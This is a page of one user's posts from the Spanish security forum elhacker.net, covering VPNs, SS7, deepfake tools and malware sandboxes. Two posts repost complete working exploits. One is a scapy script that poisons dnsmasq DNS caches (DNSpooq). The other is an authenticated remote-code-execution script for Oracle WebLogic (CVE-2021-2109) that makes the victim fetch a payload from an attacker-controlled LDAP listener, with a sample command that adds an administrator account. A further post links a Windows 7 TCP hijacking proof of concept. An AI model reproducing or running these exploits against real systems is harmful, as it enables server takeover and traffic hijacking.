elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ... 486
91  Comunicaciones / Redes / Re: Configurar una VPN perfecta en casa en: 25 Enero 2021, 23:28 pm
Muchos modelos de routers Asus ya llevan incorporado OpenVPN, sólo hay que hacer pequeñas configuraciones para que funcione.

¿Cómo configuro el servidor OpenVPN en RT-AC68U -ASUSWRT?
https://www.asus.com/es/support/FAQ/1008713/

Aunque la documentación oficial deja mucho que desear...

OpenVPN no sólo es un "protocolo", es un sofware cliente/servidor que se ha convertido casi en un estandar para VPN's.

La VPN es totalmente transparente, es igual que estén países diferentes, nadie lo sabrá. Cuando te conectes con cliente B a la VPN en A, será como si estuvieras en A. Si las dos conexiones son medianamente rápidas no tendrás problemas, lo máximo un poco de retraso de velocidad. Dependerá más de las interconexiones entre los dos proveedores de internet, cosa que tu poco podrás hacer para mejorar.

Por ejemplo en China utilizan mucho el servicio de VPN's que ya de otra manera no podrían entrar ni en Google, ni en Facebook, ni en muchos otros sitios que están directamente censurados......
92  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Duda sobre publicar enlaces para descargar disco inicio Win 9x en: 25 Enero 2021, 23:01 pm
opino lo mismo que [D]aniel.

Aunque teóricamente no sea legal, creo que a estas alturas poner un "disco de inicio de Windows 95, Windows 98 y/o Windows ME" no creo que haya mucho problemas "legales":

Se entiende que es por motivos recreacionales y/o educativos.
93  Seguridad Informática / Seguridad / Re: Firewall SS7 y Diameter en: 25 Enero 2021, 22:58 pm
SS7 es un protocolo de señales telefónicas. Y diameter más de lo mismo

Porque no explicas un poco mejor para que quieres obtener esa información. El propósito de la pregunta es ¿Para proteger una empresa? ¿Por curiosidad? ¿Para hace un trabajo?
94  Seguridad Informática / Bugs y Exploits / PoC para #DNSpooq: cache poisoning en en dnsmasq CVE-2020-25686 - CVE-2020-25684 - CVE-2020-25685 en: 25 Enero 2021, 22:49 pm
PoC para DNSpooq - dnsmasq cache poisoning CVE-2020-25686 - CVE-2020-25684 - CVE-2020-25685 por Teppei Fukuda @knqyf263

For educational purposes only

https://github.com/knqyf263/dnspooq

Código:
$ docker-compose exec attacker bash
bash-5.0# python exploit.py



exploit.py

Código
  1. #!/usr/bin/python
  2.  
  3. import itertools
  4. from scapy.all import *
  5.  
  6.  
  7. def patch(dns_frame: bytearray, pseudo_hdr: bytes, dns_id: int, dport: int):
  8.    # set dport
  9.    dns_frame[36] = (dport >> 8) & 0xFF
  10.    dns_frame[37] = dport & 0xFF
  11.  
  12.    # set dns_id
  13.    dns_frame[42] = (dns_id >> 8) & 0xFF
  14.    dns_frame[43] = dns_id & 0xFF
  15.  
  16.    # reset checksum
  17.    dns_frame[40] = 0x00
  18.    dns_frame[41] = 0x00
  19.  
  20.    # calc new checksum
  21.    ck = checksum(pseudo_hdr + dns_frame[34:])
  22.    if ck == 0:
  23.        ck = 0xFFFF
  24.    cs = struct.pack("!H", ck)
  25.    dns_frame[40] = cs[0]
  26.    dns_frame[41] = cs[1]
  27.  
  28.  
  29. ftabsiz = 150
  30. qname = "example.com"
  31. target = "google.com"
  32. poison = "169.254.169.254"
  33.  
  34. attacker = "10.10.0.3"
  35. forwarder = "10.10.0.2"
  36. cache = "10.10.0.4"
  37.  
  38. txids = range(1, 2**16)
  39. sports = range(1025, 2**16)
  40. candidates = itertools.product(txids, sports)
  41.  
  42. # DNS query
  43. qd = DNSQR(qname=qname, qtype="A", qclass='IN')
  44. req = IP(dst=forwarder) / UDP(dport=53) / DNS(id=0, rd=1, qd=qd)
  45. dns_layer = req[DNS]
  46.  
  47. # Socket
  48. s2 = conf.L2socket(iface="eth0")
  49. s3 = conf.L3socket(iface="eth0")
  50.  
  51. print("Querying non-cached names...")
  52. for i in range(ftabsiz):
  53.    dns_layer.id = i
  54.    s3.send(req)
  55.  
  56. print("Generating spoofed packets...")
  57. res = Ether() / \
  58.      IP(src=cache, dst=forwarder) / \
  59.      UDP(sport=53, dport=0) / \
  60.      DNS(id=0, qr=1, ra=1, qd=qd,
  61.          an=DNSRR(rrname=qname, ttl=900, rdata=target, type="CNAME", rclass="IN") /
  62.             DNSRR(rrname=target, ttl=900, rdata=poison, type="A", rclass="IN"))
  63.  
  64. # Optimization
  65. dns_frame = bytearray(raw(res))
  66. pseudo_hdr = struct.pack(
  67.    "!4s4sHH",
  68.    inet_pton(socket.AF_INET, res["IP"].src),
  69.    inet_pton(socket.AF_INET, res["IP"].dst),
  70.    socket.IPPROTO_UDP,
  71.    len(dns_frame[34:]),
  72. )
  73.  
  74. verify = IP(dst=forwarder) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=target, qtype="A", qclass='IN'))
  75.  
  76. start_time = time.time()
  77.  
  78. n_pkts = 0
  79. for txid, sport in candidates:
  80.    # Update TXID and UDP dst port
  81.    patch(dns_frame, pseudo_hdr, txid, sport)
  82.    s2.send(dns_frame)
  83.  
  84.    n_pkts += 1
  85.    if sport == 65535:
  86.        res = sr1(verify, verbose=0, iface="eth0", timeout=0.01)
  87.        if res is not None and res.haslayer(DNSRR):
  88.            print(f"Poisoned: {res[DNSRR].rrname} => {res[DNSRR].rdata}")
  89.            break
  90.  
  91. end_time = time.time()
  92. print(f"sent {n_pkts} responses in {end_time - start_time:.3f} seconds")
  93.  
95  Seguridad Informática / Bugs y Exploits / Oracle WebLogic Server RCE JNDI - CVE-2021-2109 en: 25 Enero 2021, 22:44 pm
- Exploit en (python3) JndiBinding  por Photubias


Código
  1. # Exploit Title: Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)
  2. # Date: 2021-01-21
  3. # Exploit Author: Photubias
  4. # Vendor Advisory: [1] https://www.oracle.com/security-alerts/cpujan2021.html
  5. # Vendor Homepage: https://www.oracle.com
  6. # Version: WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 (fixed in JDKs 6u201, 7u191, 8u182 & 11.0.1)
  7. # Tested on: WebLogic 14.1.1.0 with JDK-8u181 on Windows 10 20H2
  8. # CVE: CVE-2021-2109
  9.  
  10. #!/usr/bin/env python3
  11. '''    
  12.  Copyright 2021 Photubias(c)
  13.  
  14.        This program is free software: you can redistribute it and/or modify
  15.        it under the terms of the GNU General Public License as published by
  16.        the Free Software Foundation, either version 3 of the License, or
  17.        (at your option) any later version.
  18.  
  19.        This program is distributed in the hope that it will be useful,
  20.        but WITHOUT ANY WARRANTY; without even the implied warranty of
  21.        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  22.        GNU General Public License for more details.
  23.  
  24.        You should have received a copy of the GNU General Public License
  25.        along with this program.  If not, see <http://www.gnu.org/licenses/>.
  26.  
  27.        File name CVE-2021-2109.py
  28.        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
  29.  
  30.        This is a native implementation without requirements, written in Python 3.
  31.        Works equally well on Windows as Linux (as MacOS, probably ;-)
  32.  
  33.        Requires JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
  34.         from https://github.com/welk1n/JNDI-Injection-Exploit
  35.         to be in the same folder
  36. '''
  37. import urllib.request, urllib.parse, http.cookiejar, ssl
  38. import sys, os, optparse, subprocess, threading, time
  39.  
  40. ## Static vars; change at will, but recommend leaving as is
  41. sURL = 'http://192.168.0.100:7001'
  42. iTimeout = 5
  43. oRun = None
  44.  
  45. ## Ignore unsigned certs, if any because WebLogic is default HTTP
  46. ssl._create_default_https_context = ssl._create_unverified_context
  47.  
  48. class runJar(threading.Thread):
  49.    def __init__(self, sJarFile, sCMD, sAddress):
  50.        self.stdout = []
  51.        self.stderr = ''
  52.        self.cmd = sCMD
  53.        self.addr = sAddress
  54.        self.jarfile = sJarFile
  55.        self.proc = None
  56.        threading.Thread.__init__(self)
  57.  
  58.    def run(self):
  59.        self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)
  60.        for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)
  61.        for line in iter(self.proc.stderr.readline, ''): self.stderr += line
  62.  
  63.  
  64. def findJNDI():
  65.    sCurDir = os.getcwd()
  66.    sFile = ''
  67.    for file in os.listdir(sCurDir):
  68.        if 'JNDI' in file and '.jar' in file:
  69.            sFile = file
  70.    print('[+] Found and using ' + sFile)
  71.    return sFile
  72.  
  73. def findJAVA(bVerbose):
  74.    try:
  75.        oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
  76.    except:
  77.        exit('[-] Error: java not found, needed to run the JAR file\n    Please make sure to have "java" in your path.')
  78.    sResult = list(oProc.stdout)[0].decode()
  79.    if bVerbose: print('[+] Found Java: ' + sResult)
  80.  
  81. def checkParams(options, args):
  82.    if args: sHost = args[0]
  83.    else:
  84.        sHost = input('[?] Please enter the URL ['+sURL+'] : ')
  85.        if sHost == '': sHost = sURL
  86.        if sHost[-1:] == '/': sHost = sHost[:-1]
  87.        if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
  88.    if options.username: sUser = options.username
  89.    else:
  90.        sUser = input('[?] Username [weblogic] : ')
  91.        if sUser == '': sUser = 'weblogic'
  92.    if options.password: sPass = options.password
  93.    else:
  94.        sPass = input('[?] Password [Passw0rd-] : ')
  95.        if sPass == '': sPass = 'Passw0rd-'
  96.    if options.command: sCMD = options.command
  97.    else:
  98.        sCMD = input('[?] Command to run [calc] : ')
  99.        if sCMD == '': sCMD = 'calc'
  100.    if options.listenaddr: sLHOST = options.listenaddr
  101.    else:
  102.        sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')
  103.        if sLHOST == '': sLHOST = '192.168.0.10'
  104.    if options.verbose: bVerbose = True
  105.    else: bVerbose = False
  106.    return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)
  107.  
  108. def startListener(sJarFile, sCMD, sAddress, bVerbose):
  109.    global oRun
  110.    oRun = runJar(sJarFile, sCMD, sAddress)
  111.    oRun.start()
  112.    print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')
  113.    oRun.join(3)
  114.    if not oRun.stderr == '':
  115.        exit('[-] Error starting Java listener:\n' + oRun.stderr)
  116.    bThisLine=False
  117.    if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')
  118.    for line in oRun.stdout:
  119.        if bThisLine: return line.split('/')[3].replace('\n','')
  120.        if 'JDK 1.8' in line: bThisLine = True
  121.  
  122. def endIt():
  123.    global oRun
  124.    print('[+] Closing threads')
  125.    if oRun: oRun.proc.terminate()
  126.    exit(0)
  127.  
  128. def main():
  129.    usage = (
  130.        'usage: %prog [options] URL \n'
  131.        ' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'
  132.        ' in the current working folder\n'
  133.        'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'
  134.        'Only works when hacker is reachable via an IPv4 address\n'
  135.        'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'
  136.        'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'
  137.        'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'
  138.        )
  139.  
  140.    parser = optparse.OptionParser(usage=usage)
  141.    parser.add_option('--username', '-u', dest='username')
  142.    parser.add_option('--password', '-p', dest='password')
  143.    parser.add_option('--command', '-c', dest='command')
  144.    parser.add_option('--listen', '-l', dest='listenaddr')
  145.    parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)
  146.  
  147.    ## Get or ask for the vars
  148.    (options, args) = parser.parse_args()
  149.    (sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)
  150.  
  151.    ## Verify Java and JAR file
  152.    sJarFile = findJNDI()
  153.    findJAVA(bVerbose)
  154.  
  155.    ## Keep track of cookies between requests
  156.    cj = http.cookiejar.CookieJar()
  157.    oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
  158.  
  159.    print('[+] Verifying reachability')
  160.    ## Get the cookie
  161.    oRequest = urllib.request.Request(url = sHost + '/console/')
  162.    oResponse = oOpener.open(oRequest, timeout = iTimeout)
  163.    for c in cj:
  164.        if c.name == 'ADMINCONSOLESESSION':
  165.            if bVerbose: print('[+] Got cookie "' + c.value + '"')
  166.  
  167.    ## Logging in
  168.    lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}
  169.    lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}
  170.    oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)
  171.    oResponse = oOpener.open(oRequest, timeout = iTimeout)
  172.    sResult = oResponse.read().decode(errors='ignore').split('\r\n')
  173.    bSuccess = True
  174.    for line in sResult:
  175.        if 'Authentication Denied' in line: bSuccess = False
  176.    if bSuccess: print('[+] Succesfully logged in!\n')
  177.    else: exit('[-] Authentication Denied')
  178.  
  179.    ## Launch the LDAP listener and retrieve the random endpoint value
  180.    sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)
  181.    if bVerbose: print('[+] Got Java value: ' + sRandom)
  182.  
  183.    ## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of "127.0.0.1"
  184.    print('\n[+] Firing exploit now, hold on')
  185.    ##  http://192.168.0.100:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/5r5mu7;AdminServer-)
  186.    sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]
  187.    sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'
  188.    if bVerbose: print('[!] Using URL ' + sFullUrl)
  189.    oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)
  190.    oResponse = oOpener.open(oRequest, timeout = iTimeout)
  191.    time.sleep(5)
  192.    bExploitWorked = False
  193.    for line in oRun.stdout:
  194.        if 'Log a request' in line: bExploitWorked = True
  195.        if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')
  196.    if not bExploitWorked: print('[-] Exploit failed, victim likely patched')
  197.    else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')
  198.    if bVerbose: print(oRun.stderr)
  199.    endIt()
  200.  
  201. if __name__ == "__main__":
  202.    try: main()
  203.    except KeyboardInterrupt: endIt()

Cuidado peticiones tipo:

Código:
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/hacked;AdminServer-)

Ya están saliendo varias reglas para WAF.
96  Seguridad Informática / Bugs y Exploits / Secuestro TCP/IP Windows 7 totalmente parchaedo en: 25 Enero 2021, 22:41 pm
El secuestro ciego de TCP / IP sigue vivo en Windows 7… y no solo. Esta versión de Windows es sin duda uno de los objetivos más "jugosos" a pesar de que el 14 de enero de 2020 fue el EOL (fin de vida útil) oficial para ella. Según varios datos, Windows 7 tiene alrededor del 25% del mercado de sistemas operativos (SO) y sigue siendo el segundo sistema operativo de escritorio más popular del mundo.

Sólo funciona con protocolos ampliamente implementados que no cifran el tráfico, por ejemplo, FTP, SMTP, HTTP, DNS, IMAP

¿Dónde está el error?

En la implementación de la pila TCP / IP para Windows 7, IP_ID es un contador global.

Tool - PoC
http://site.pi3.com.pl/exp/devil_pi3.c

Fuente:
http://blog.pi3.com.pl/?p=850
97  Informática / Software / Re: Donde descargar Deepfacelab? en: 22 Enero 2021, 18:58 pm
Citar
Buenas, he seguido el hilo de respuestas y después de descargar de la pagina de iperov no encuentro como instalar el programa , busco un .exe para poder ejecutarlo pero igual no va así , ¿como lo instalasteis? donde puedo encontrar info en español?

Es un repositorio de github del usuario iperov

https://github.com/iperov/DeepFaceLab

Donde pone
Releases
tienes el ".exe" para Windows
Windows (magnet link)    Last release. Use torrent client to download.
https://tinyurl.com/y8lntghz
Windows (Mega.nz)    Contains new and prev releases.
https://mega.nz/folder/Po0nGQrA#dbbttiNWojCt8jzD4xYaPw

En Links tienes guías y tutoriales en inglés. En Español poca información debe haber.

Como ya dije no es un software precisamente fácil de usar..... y no refería a la potencia del ordenador o de la gráfica.

En el último deepfake que he visto en la TV (un anuncio de TV en España) pues explican como lo han hecho:

https://www.xataka.com/robotica-e-ia/hablan-creadores-deepfake-lola-flores-pese-a-usar-inteligencia-artificial-fue-proceso-bastante-artesanal



Si, han usado FaceSwap, y DeepFaceLab

Pero si lo lees, verás que para que quede bien se necesitan muchas horas de trabajo.... y muchas márgenes.
98  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Avatar en: 22 Enero 2021, 18:53 pm
opino lo mismo que #!drvy

Los Tercios de Aguilar "no suenan al franquismo" (.......), pero siendo de la Falange, pues de ideología "fascista", un rato largo....

No te preocupes #!drvy , siempre que veo las elecciones las papeletas de la Falange Española en Barcelona, están hasta arriba, no deben tener muchos votos.
99  Seguridad Informática / Análisis y Diseño de Malware / Re: quiero aprender a infectar un dispositovo, soy nuevo. en: 22 Enero 2021, 17:15 pm
Abre tu propio post solicitando lo que necesitas...

 :rolleyes: :o :rolleyes:



No, mejor no. O será borrado.

Después de revivir un mensaje de 2019...... y hacer ése tipo de pregunta, tiene todos los números de acabar en la papelera.
100  Seguridad Informática / Análisis y Diseño de Malware / Re: Ayuda para mejorar el Buster Sandbox Analyzer en: 21 Enero 2021, 21:12 pm
pues no me dedico a analizar muestras de malware, pero si conozco algunas de las herramientas que existen (que no son precisamente pocas).

La verdad es que en los últimos años han aparecido un montón de servicios online muy, muy completos.



Lo que yo haría es tomar ideas de otros servicios y proyectos (siempre que sea factible, claro está).

Recopilación herramientas y servicios on-line:
https://blog.elhacker.net/2015/06/servicios-automatizados-de-analisis-de-malware-online-cloud-nube.html

 (Cloud Malware Analysis Services)

    Anubis : http://anubis.iseclab.org

    Any Run : https://any.run

    Malwr : Basado en Cuckoo Sandbox https://malwr.com/submission
 
    Threat Expert : http://www.threatexpert.com/submit.aspx

    Camas Comodo: http://camas.comodo.com/

    Threat Track : http://www.threattracksecurity.com/resources/sandbox-malware-analysis.aspx

    Vicheck : https://www.vicheck.ca

    VirusTotal: https://www.virustotal.com/

    VxStream: https://www.hybrid-analysis.com/
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ... 486
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines